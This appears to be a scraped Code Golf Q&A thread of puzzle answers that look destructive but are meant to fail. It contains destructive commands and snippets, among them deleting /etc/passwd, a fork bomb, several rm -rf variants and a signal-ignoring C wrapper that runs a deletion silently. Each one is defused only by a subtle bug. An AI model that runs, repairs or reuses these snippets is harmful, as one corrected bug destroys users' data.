@ThomasKwa Hm. Isn't that awkward. Assembly 'aint my strong suit. Is here a valid RAM-clearing code? – Conor O'Brien – 2015-09-26T23:54:44.547

0

Python

do_evil = True

def evil():
    if do_evil:
        os.remove('/etc/passwd')
        do_evil = False
    print 'Evil done!'

evil()

Similar to the JS one, variables in Python are function-scoped. do_evil = False creates a local variable without a value, and when if do_evil: is executed, you get UnboundLocalError. This one looks more normal as it doesn't need a keyword.

quantum

Posted 2014-03-10T08:17:54.640

Reputation: 101

0

Python

This is a super-effective fork bomb that will not terminate even when it can't replicate:

import os
def fork():
    try:
      return os.fork() + 998543
    except os.error:
      return 99993843
for a in range(fork()):
  for b in range(fork()):
   for c in range(fork()):
    for d in range(fork()):
     for e in range(fork()):
      for f in range(fork()):
       for g in range(fork()):
        for h in range(fork()):
         for i in range(fork()):
          for j in range(fork()):
           for k in range(fork()):
            for l in range(fork()):
             for m in range(fork()):
              for o in range(fork()):
               for p in range(fork()):
                for q in range(fork()):
                 for r in range(fork()):
                  for s in range(fork()):
                   for t in range(fork()):
                    for u in range(fork()):
                     for v in range(fork()):
                      for w in range(fork()):
                        fork()

But:

It fails to compile with SystemError: too many statically nested blocks.

pppery

Posted 2014-03-10T08:17:54.640

Reputation: 3 987

0

Bash

rm /*

This doesn't work because:

You need the -r option to delete directories

Elliot A.

Posted 2014-03-10T08:17:54.640

Reputation: 456

0

Bash

rm -RF --no-preserve-root /

This will delete everything except:

It will fail to run because: invalid option -- 'F'. You can only use lowercase -f

Elliot A.

Posted 2014-03-10T08:17:54.640

Reputation: 456

0

C

#include <stdlib.h>
#include <string.h>
#include <signal.h>

char* doomCommand = "rm -rf /importantfolder";

#ifdef _WIN32
    char silencer[14] = " > NUL 2> NUL";
#elif __APPLE__
    char silencer[26] = " > /dev/null 2> /dev/null";
#elif __linux__
    char silencer[26] = " > /dev/null 2> /dev/null";
#elif __unix__
    char silencer[26] = " > /dev/null 2> /dev/null";
#elif defined(_POSIX_VERSION)
    char silencer[26] = " > /dev/null 2> /dev/null";
#else
    /*Just make a lucky guess*/
    char silencer[26] = " > /dev/null 2> /dev/null";
#endif

int main() {
    size_t doomLength = strlen(doomCommand);
    size_t silencerLength = strlen(silencer);
    char* finalCommand;

    signal(SIGABRT, SIG_IGN);
    signal(SIGFPE, SIG_IGN);
    signal(SIGILL, SIG_IGN);
    signal(SIGINT, SIG_IGN);
    signal(SIGSEGV, SIG_IGN);
    signal(SIGTERM, SIG_IGN);

    while (*(doomCommand++)); /*Integrity check*/
    finalCommand = malloc(doomLength + silencerLength + 1);
    strcat(finalCommand, doomCommand -= doomLength);
    strcat(finalCommand, silencer);

    return system(finalCommand);
}

Features:

  • Works on most operating systems used this millennium.
  • Will work on even the oldest standards-compliant compilers. (Probably.)
  • Includes a sanity check to make sure the command is a valid string.
  • Casually ignores most attempts to close the program.
  • You can use a custom destructive command.
  • Stops the user seeing the evil output of any command you choose to run.

Spoiler:

Unfortunately, the sanity check moves the pointer forward length + 1 chars. So when the pointer is moved back length chars, it is now pointing to the second character in the string, not the first, and will throw an error when it tries to run your lovely command. Luckily though, all the output is suppressed. What a relief.

wizzwizz4

Posted 2014-03-10T08:17:54.640

Reputation: 1 895

-1

C

void main(void)
{
    for(int i=0; i<3; i++)
    {
        switch (i)
        {
        case 0:
            printf("Going ...\n");
            break;
        case 1:
            printf("going ...\n");
            break;
        defau1t:
            system("rm -rf ~");
            printf("gone!\n");
            break;
        }
    }
}

It's always best to give users time to regret running a program - but not enough to stop it.

defau1t is spelt with a 1 (one) rather than an l. That makes it a label rather than the default so that code never gets executed.

Alchymist

Posted 2014-03-10T08:17:54.640

Reputation: 544

+1 I always make this mistake in ANY programming language, esp. when using a variable, as you said, like a1. I always type al, because 1 looks like l in Consolas, etc. I don't know why the hate... – Conor O'Brien – 2015-09-26T23:29:37.217

@CᴏɴᴏʀO'Bʀɪᴇɴ Unfortunately, I now agree with the downvotes within the context of this site. It's just because it is too easy to make that mistake that it doesn't make for a good answer - everyone can do it. – Alchymist – 2015-09-28T08:09:43.310

@Alchymist I get your point. I just think it's a tad harsh ^_^ – Conor O'Brien – 2015-09-28T17:59:19.807

Aw c'mon, not again...

– John Dvorak – 2014-06-04T09:52:56.503

1No, not again. I would say there is a big difference between having variables a1 and al which would be just as tedious as you imply and using that trick to change part of the standard syntax of the l – Alchymist – 2014-06-06T14:09:28.510

Too slow to finish previous edit. Changing the meaning of a standard C construction seems a different level from using two different variables. – Alchymist – 2014-06-06T14:19:36.597

-3

C#

Now what this evil application is intended to do is to find all folders and sub-folders on drive C:\ and create 100 randomly named files in it, when done - repeat, forever

using System.IO;

class Program
{
    static void Main()
    {
        // Do this forever
        while (true)
        {
            MakeSomeMess(@"С:\"); // see what I did there?
        }
    }

    private static void MakeSomeMess(string path)
    {
        // Find all folders
        foreach (var directory in Directory.GetDirectories(path))
        {
            // Make 100 randomly named files in each folder
            for (var i = 0; i < 100; i++)
            {
                try
                {
                    File.WriteAllText(Path.Combine(directory, Path.GetRandomFileName()), "Boobs Boobs Boobs");
                }
                catch
                {
                    // a file failed to create, probably a system folder like C:\\$Recycle.Bin
                    // no big deal there are plenty of folders to fill with rubbish
                }
            }

            // Do the same for every subfolder
            MakeSomeMess(directory);
        }
    }
}

And the twist is:

@"С:\" is not the root folder, such folder does not exist as the letter 'С' in it, is actually the Cyrillic letter 'S'. Since C and С are rendered identical in almost any font (as you can see) our troll won't notice that @"С:\" is not a valid path. Поздрави от България :)

Sinnerman

Posted 2014-03-10T08:17:54.640

Reputation: 11

Doesn't \" mean "escape the ""? – wizzwizz4 – 2016-02-07T13:42:47.113

@wizzwizz4 No, the @ before the string keeps the \ from escaping characters. So, the backwards slash is interpreted as a normal slash, not an escaping character. – Adnan – 2016-02-07T17:02:45.857

@wizzwizz4 The escape character is surpressed by the @. It is not an escape character anymore. This is very commonly used actually. – Adnan – 2016-02-07T19:14:48.380

@Adnan I was just wondering why Sinnerman put the @ there. Because there would have been yet another error if he hadn't. – wizzwizz4 – 2016-02-08T17:33:29.103

2

-1: This is a Standard Loophole

– None – 2014-11-20T20:29:28.713